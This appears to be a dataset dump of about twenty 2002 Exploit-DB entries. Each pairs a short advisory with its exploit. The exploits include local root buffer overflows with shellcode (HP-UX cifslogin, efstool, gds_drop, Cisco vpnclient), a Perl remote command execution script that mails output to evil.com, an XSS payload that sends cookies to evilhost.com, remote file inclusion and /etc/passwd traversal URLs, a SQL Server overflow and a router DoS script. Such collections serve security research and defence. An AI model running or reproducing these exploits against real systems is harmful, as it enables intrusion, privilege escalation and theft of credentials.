QLWD/code_shield huggingface dataset:
标题: Working Resources BadBlue 1.7 - 'ext.dll' Cross-Site Scripting EDB-ID: 21576 CVE: 2002-1685 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5086/info

BadBlue is a P2P file sharing application distributed by Working Resources. The ext.dll ISAPI does not sufficiently sanitize input. Because of this, it is possible for a user to create a custom URL containing script code that, when viewed in a browser by another user, will result in the execution of the script code. This could allow for the execution of malicious JavaScript in the context of a trusted site. 

http://target/ext.dll?MfcISAPICommand=LoadPage&page=search.htx&a0=%3Cscript%3Ealert('lame')%3C/script%3E&a1=0&a2=1&a3=6 URL: https://www.exploit-db.com/exploits/21576
标题: Pirch IRC 98 Client - Malformed Link Buffer Overrun EDB-ID: 21574 CVE: 2002-0928 类型: REMOTE 平台: UNIX 发布日期: 2002-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/5079/info

Pirch is subject to a buffer overflow condition. The overrun occurs if a user receives on a maliciously constructed link. It is not confirmed whether the user must first click on the link or not. This issue is the result of inadequate bounds checking on externally supplied data. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21574.zip URL: https://www.exploit-db.com/exploits/21574
标题: YaBB 1 - Invalid Topic Error Page Cross-Site Scripting EDB-ID: 21573 CVE: 2002-0955 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/5078/info

It is reported possible for attackers to construct a URL that will cause scripting code to be embedded in error pages.

YaBB fails to check URLs for the presence of script commands when generating error pages, allowing attacker supplied code to execute. If such a URL is sent to a YaBB user, upon accessing the link, the attacker-supplied code will run in the context of the site running the vulnerable software.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of YaBB. 

http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script> URL: https://www.exploit-db.com/exploits/21573
标题: Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow EDB-ID: 21575 CVE: 2002-0653 类型: DOS 平台: MULTIPLE 发布日期: 2002-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/5084/info

An off-by-one issue exists in mod_ssl that affects Apache when handling certain types of long entries in an .htaccess file. Though this capability within the web server is not enabled by default, it is popular as it allows non-privileged users to create web access control schemes for hosted sites, and is enabled through the "AllowOverride" configuration variable in Apache. A .htaccess file with 10000 or more bytes set into the variable DATE_LOCALE will result in a buffer overflow within the web server process handling the request.

In a regular .htaccess file:

SetEnv DATE_LOCALE "X"

where the character X represents a string of 12288 bytes. URL: https://www.exploit-db.com/exploits/21575
标题: HP CIFS/9000 Server A.01.05/A.01.06 - Local Buffer Overflow EDB-ID: 21577 CVE: 2002-0991 类型: LOCAL 平台: HP-UX 发布日期: 2002-11-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5088/info

A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise.

The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'.

/*
Name    : ex_cifslogin.c
Compile : cc ex_cifslogin -o cifslogin
Purpose : exploit cifslogin command for HP-UX 11.11 11.0 10.20��to get root shell
Author  : watercloud < safesuite@263.net, watercloud@xfocus.net >
Date    : 2002-11-6
Announce: Use as your own risk��
Thanks  : bear < bearundertree@163.com >
Tested  : HPUX B11.11
*/
#include<stdio.h>

#define T_LEN  2304
#define BUFF_LEN 2176
#define NOP 0x0b390280

char shellcode[]=
        "\xe8\x3f\x1f\xfd\xb4\x23\x03\xe8\x60\x60\x3c\x61\x0b\x39\x02"
        "\x99\x34\x1a\x3c\x53\x0b\x43\x06\x1a\x20\x20\x08\x01\x34\x16\x03"
        "\xe8\xe4\x20\xe0\x08\x96\xd6\x03\xfe/bin/shA";
long addr;
char buffer[T_LEN];

main()
{
        int addr_off =800 ;

        int  n=BUFF_LEN/4,i=0;
        long * ap = (long *) &buffer[BUFF_LEN];
        char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
        long * np = (long *) buffer;

        addr = ((long) &addr_off + T_LEN ) & 0xffffff40 +0x40 ;

        for(i=0;i<n;np[i++]=NOP);
        memcpy(sp,shellcode,strlen(shellcode));
        for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr+addr_off);

        printf("SP=0x%x EXP_SP=0x%x OFF=0x%x (%i)\n",(long)&addr_off & 0xffffff40,addr,addr_off);
        printf("Addr =0x%x NOP_LEN=%i\n",addr+addr_off,BUFF_LEN-strlen(shellcode));
        printf("BUFFER_LEN=%i\n",strlen(buffer));

        execl("/opt/cifsclient/bin/cifslogin","cifslogin","123",buffer,NULL);
} URL: https://www.exploit-db.com/exploits/21577
标题: Mandrake 7/8/9 / RedHat 6.x/7 Bonobo EFSTool - Commandline Argument Buffer Overflow (2) EDB-ID: 21584 CVE: 2002-1814 类型: LOCAL 平台: LINUX 发布日期: 2002-06-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/5125/info
 
Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems.
 
A boundry condition error has been discovered in the efstool program. Due to improper bounds checking, it is possible for a user to supply a long commandline argument to the efstool program, which would result in a buffer overflow. This problem could be exploited on the local system to overwrite stack memory, including the return address, and execute attacker supplied code. 

#!/usr/bin/perl
# efstool root exploit
# written by andrea lisci
# perl efstool.pl 3000

$shellcode =
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89".
"\x46\x0c\x89\x76\x08\xb0\x0b\x87\xf3".
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29".
"\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff".
"/bin/sh";

$ret = "0xbfffe984";
$offset = $ARGV[0];
$nop = "\x90";


 $buffer="'";
        $len = 2652;
        for ($i = 0; $i < $len; $i++) {
                $buffer .= $nop;
        }
 $buffer .= pack('l', ($ret + $offset));

  for ($i = 0; $i < 10000; $i++) {
                $buffer .= $nop;
         }

        $buffer .= $shellcode;
 $buffer .="'";


exec("efstool $buffer"); URL: https://www.exploit-db.com/exploits/21584
标题: WebScripts WebBBS 4.x/5.0 - Remote Command Execution EDB-ID: 21567 CVE: 2002-1993 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5048/info

WebBBS does not sufficiently filter shell metacharacters from CGI parameters. As a result, remote attackers may execute arbitrary commands on the underlying shell of the system hosting the vulnerable software.

Remote attackers may gain local, interactive access to the host with the privileges of the webserver process as a result of successful exploitation.

#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail zlo@evil.com";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
} URL: https://www.exploit-db.com/exploits/21567
标题: BasiliX Webmail 1.1 - Message Content Script Injection EDB-ID: 21570 CVE: 2002-1708 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5060/info

BasiliX is a web-based mail application. It offers features such as mail attachments, address book, multiple language and theme support.

A script injection issue has been reported in BasiliX Webmail. Script commands are not filtered from the Subject or message body, and may execute in the context of the BasiliX site when the content is viewed.

This has been reported in BasiliX Webmail 1.1.0, earlier versions may also be affected.

<script>self.location.href="http://evilhost.com/evil?"+escape(document.
cookie)</script> URL: https://www.exploit-db.com/exploits/21570
标题: osCommerce 2.1 - Remote File Inclusion EDB-ID: 21563 CVE: 2002-2019 2002-1991 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5037/info

osCommerce is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

-------- Example 1 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/a.php

--- a.php ---
<? passthru("/bin/ls")?>
-------------
Output: dir listing of the current dierctory
---------------------------

-------- Example 2 --------
http://SERVER/catalog/inludes/include_once.php?
include_file=http://MYBOX/b.php

--- b.php ---
<? passthru("/bin/cat application_top.php")?>
-------------
Output: outputs the application_top.php file wich includes MySQL username,
password, etc. URL: https://www.exploit-db.com/exploits/21563
标题: Wolfram Research webMathematica 4.0 - File Disclosure EDB-ID: 21562 CVE: 2002-0926 类型: WEBAPPS 平台: JAVA 发布日期: 2002-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5035/info

Wolfram Research's webMathematica is a Java based product which allows the inclusion of Mathematica content in a web environment. It includes CGI programs which generate image content based on user supplied input.

A file disclosure vulnerability has been reported with the MSP CGI program. A file name parameter supplied by the user is not properly validated. The inclusion of "../" character sequences allows the attacker to escape the web root, and view arbitrary system files.

http://www.domain.com/webMathematica/MSP?MSPStoreID=../../../../../etc/passwd&MSPStoreType=image/gif URL: https://www.exploit-db.com/exploits/21562
标题: ZYXEL Prestige 642R Router - Malformed Packet Denial of Service EDB-ID: 21561 CVE: 2002-1071 类型: DOS 平台: HARDWARE 发布日期: 2002-07-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5034/info

ZyXEL 642R routers have difficulties handling certain types of malformed packets. In particular, it is possible to deny services by sending a vulnerable router a SYN-ACK packet. To a lesser degree, the router also encounters difficulties when handling SYN-FIN packets. In both instances, some services provided by the router (telnet, FTP and DHCP) will be denied, however, the device will continue to route network traffic. This issue has also been reproduced with other types of malformed packets.

ZyXEL 642R-11 and Prestige 310 routers are reportedly affected by this vulnerability. It is possible that other ZyNOS-based routers are also affected by this vulnerability. ZxXEL 643 ADSL routers do not appear to be prone to this issue.

This issue may be exploited in combination with the vulnerability described in Bugtraq ID 3346. 

# This is a RafaleX script (Download: www.packx.net)
# Rafale X script
# ---------------
# Action : Make a ZyXEL 642R Prestige Router inaccessible on port 23
#
%name=ZyXEL telnet service DoS
%category=Denial of service
%date=23-05-2002
%rafalemin=0.2
%description=Crash ZyXEL router telnet service with ACK and SYN flag

// Variables
$done=Target attacked...

// Do the stuff...
!Display=Please wait...
!Sleep 500
PORTDST=23
IPHEADERSIZE=20
ACK=1
SYN=1
!Display=Sending the packet...
!SEND 1 TCP
!Sleep 200
!Display=ACK/SYN Packet sent! ZyXEL telnet service crashed
(V2.50(AJ.6))

!Sleep 1000

!Display=$done URL: https://www.exploit-db.com/exploits/21561
标题: PHP-Address 0.2 e - Remote File Inclusion EDB-ID: 21564 CVE: 2002-0953 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5039/info

PHP-Address is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. 

http://SERVER/globals.php3?LangCookie=http://MYSERVER/x
(the .php3 is already there look at line 5 in global.php3)

Remote script located on MYSERVER:

------------x.php3------------
<?
passthru("/bin/ls /");
?>
-------------------------------

Outputs a directory listing. URL: https://www.exploit-db.com/exploits/21564
标题: My Postcards 6.0 - 'MagicCard.cgi' Arbitrary File Disclosure EDB-ID: 21558 CVE: 2002-1966 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5029/info

My Postcards is a commercial available eletronic postcard system. It is available for Unix and Linux Operating Systems.

The magiccard.cgi script does not properly handle some types of input. As a result, it may be possible for a remote user to specify the location of a specific file on the system hosting the My Postcards software. Upon specifying the location of a file that is readable by the web server process, the user could disclose the contents of the specified file. 

http://www.example.com/cgi-bin/magiccard.cgi?pa=preview&next=custom&page=../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/21558
标题: Interbase 6.0 - GDS_Drop Interbase Environment Variable Buffer Overflow (1) EDB-ID: 21565 CVE: 2003-0281 2002-2087 类型: LOCAL 平台: UNIX 发布日期: 2002-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5044/info

Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.

A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.

Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue. *

#!/usr/bin/perl -w
#
# gds_drop exploit for Interbase 6.0 linux beta
#
# - tested on redhat 7.2
#
# - Developed in the Snosoft Cerebrum test labs
# - (http://www.snosoft.com) - overflow found by KF
#
# coded by stripey - 15/06/2002 (stripey@snosoft.com)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf  = pack("l",(0xbffffdc0+$offset))x86;
$buf .= "A";

$ENV{"INTERBASE"} = $buf;

exec("/usr/local/interbase/bin/gds_drop"); URL: https://www.exploit-db.com/exploits/21565
标题: Microsoft SQL Server 2000 / Microsoft Jet 4.0 Engine - Unicode Buffer Overflow (PoC) EDB-ID: 21569 CVE: 2002-0859 类型: DOS 平台: WINDOWS 发布日期: 2002-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5057/info

Microsoft SQL Server is prone to a remotely exploitable unicode-based buffer overflow condition. This condition occurs when the OpenDataSource function is used with MS Jet Engine.

This issue may be exploited to execute attacker-supplied instructions with the privileges of the SQL Server process. This issue requires that the attacker can pass malicious data to the OpenDataSource function and may be exploitable remotely via SQL injection vulnerabilities in web-based software.

Due to this being an issue in the MS Jet Engine component itself, other products which rely on Jet Engine may also be affected by this vulnerability.

We previously alerted on this issue in BID 4847 "Microsoft SQL Server 2000 Multiple Vulnerabilities". This issue was originally publicized as a VNA by NGSSoftware. 

-------8<---------

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

------->8--------- URL: https://www.exploit-db.com/exploits/21569
标题: ZeroBoard 4.1 - PHP Include File Arbitrary Command Execution EDB-ID: 21557 CVE: 2002-1704 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5028/info

Zeroboard is a PHP web board package available for the Linux and Unix platforms.

Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script. 

PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a URL: https://www.exploit-db.com/exploits/21557
标题: Cisco VPN Client for Unix 3.5.1 - Local Buffer Overflow EDB-ID: 21568 CVE: 2002-1447 类型: LOCAL 平台: LINUX 发布日期: 2002-06-19 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5056/info

The Cisco VPN Client software is used to establish Virtual Private Network (VPN) connections between client machines and a Cisco VPN Concentrator.

A vulnerability has been reported in some versions of the VPN Client. If an oversized profile name is passed to the vpnclient binary, a buffer overflow condition may occur. As vpnclient runs suid root, exploitation of this vulnerability will grant a local attacker root access to the vulnerable system.

This vulnerability affects the VPN Client version 3.5.1 for Linux, Solaris and Mac OS X. Windows clients are not believed to be vulnerable. Earlier versions of the VPN Client may share this vulnerability, although this has not been confirmed. 

/* buffer overflow for cisco's vpnclient for linux
   tested against the latest release: vpnclient-linux-3.5.1.Rel-k9.tar.gz

   to get this to properly work, you need to put the following code into
   xx.c, compile it (as xx), and place the executable into /tmp (to bypass
   tight PAM restrictions)

   #include <stdio.h>
   main() {
     setuid(0);
     execl("/bin/sh", "sh", NULL);
   }

   then compile this and run it. syntax is ./vpnclient <offset>
   tested under gentoo linux and debian:
   $ ls -la `which vpnclient`
   -rws--x--x    1 root   root   160900 Apr 13 22:34 /usr/local/bin/vpnclient
   $ ./vpnKILLient 
   addr: 0xbffffbac, offset: 0
   Cisco Systems VPN Client Version 3.5.1 (Rel)
   Copyright (C) 1998-2002 Cisco Systems, Inc. All Rights Reserved.
   Client Type(s): Linux
   Running on: Linux 2.4.17 #1 Sat Apr 13 21:53:52 EDT 2002 i686

   sh-2.05a# id
   uid=0(root) gid=100(users) groups=100(users),10(wheel)

   greetz: all of the angrypacket crew (of course)
           shok  -> pheerable^2;
           vegac -> 31336++;

   when you get a chance, check out http://sec.angrypacket.com
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define NOP 0x90
#define LEN 620 /* 520 to own eip */

/* shellcode by vegac (setuid(0)->/tmp/xx) */
/* wont work if your /tmp partition is mounted noexec or nosuid */
char shell[]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x2f\x2f\x78\x78"
        "\x68\x2f\x74\x6d\x70\x89\xe3\x31"
        "\xc0\x50\x89\xe2\x54\x89\xe1\xb0"
        "\x0b\xcd\x80\x00";

unsigned long get_sp (void) {
 __asm__("mov %esp,%eax");
}
int main(int argc, char *argv[]) {

 int i, offset=0;
 long addr;
 char *buf, *ptr;

 if(argc > 1) offset = atoi(argv[1]);

 buf = (char *)malloc(sizeof(char) * LEN);
 bzero(buf, LEN);
 addr = get_sp() - offset;
 printf("addr: 0x%x, offset: %d\n", addr, offset);

 for(i = 0; i < LEN; i += 4) {
  *(long *)&buf[i] = addr;
 }

 for(i = 0; i < (LEN / 2); i++) {
  *(buf + i) = NOP;
 }

 ptr = buf + ((LEN / 2) - (strlen(shell) / 2));
 for(i = 0; i < strlen(shell); i++) {
  *(ptr++) = shell[i];
 }
 buf[LEN - 1] = '\0';

 execl("/usr/local/bin/vpnclient", "vpnclient", "connect", buf, 0);
 return(0);

} URL: https://www.exploit-db.com/exploits/21568
标题: Imatix Xitami 2.5 - GSL Template Cross-Site Scripting EDB-ID: 21554 CVE: 2002-1965 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5025/info

Imatix Xitami is a webserver for Microsoft Windows operating systems.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in error pages.

Xitami fails to check URLs for the presence of script commands when generating error pages returned from sample scripts that use Errors.gsl, allowing attacker supplied code to execute. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://www.<IMG%20SRC=""%20ONERROR="alert(document.cookie)">.target.com/error404 URL: https://www.exploit-db.com/exploits/21554
标题: Mewsoft NetAuction 3.0 - Cross-Site Scripting EDB-ID: 21553 CVE: 2002-1703 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5023/info

NetAuction does not filter HTML code from URI parameters, making it prone to cross-site scripting attacks. Attacker-supplied HTML code may be included in a malicious links. The attacker-supplied HTML code will be executed in the browser of a web user who visits this link, in the security context of the host running NetAuction. Such a link might be included in a HTML e-mail or on a malicious webpage.

http://www.xxxx.com/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search
&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('OopS');</script>&
Where=&Sort=Photo&Dir= URL: https://www.exploit-db.com/exploits/21553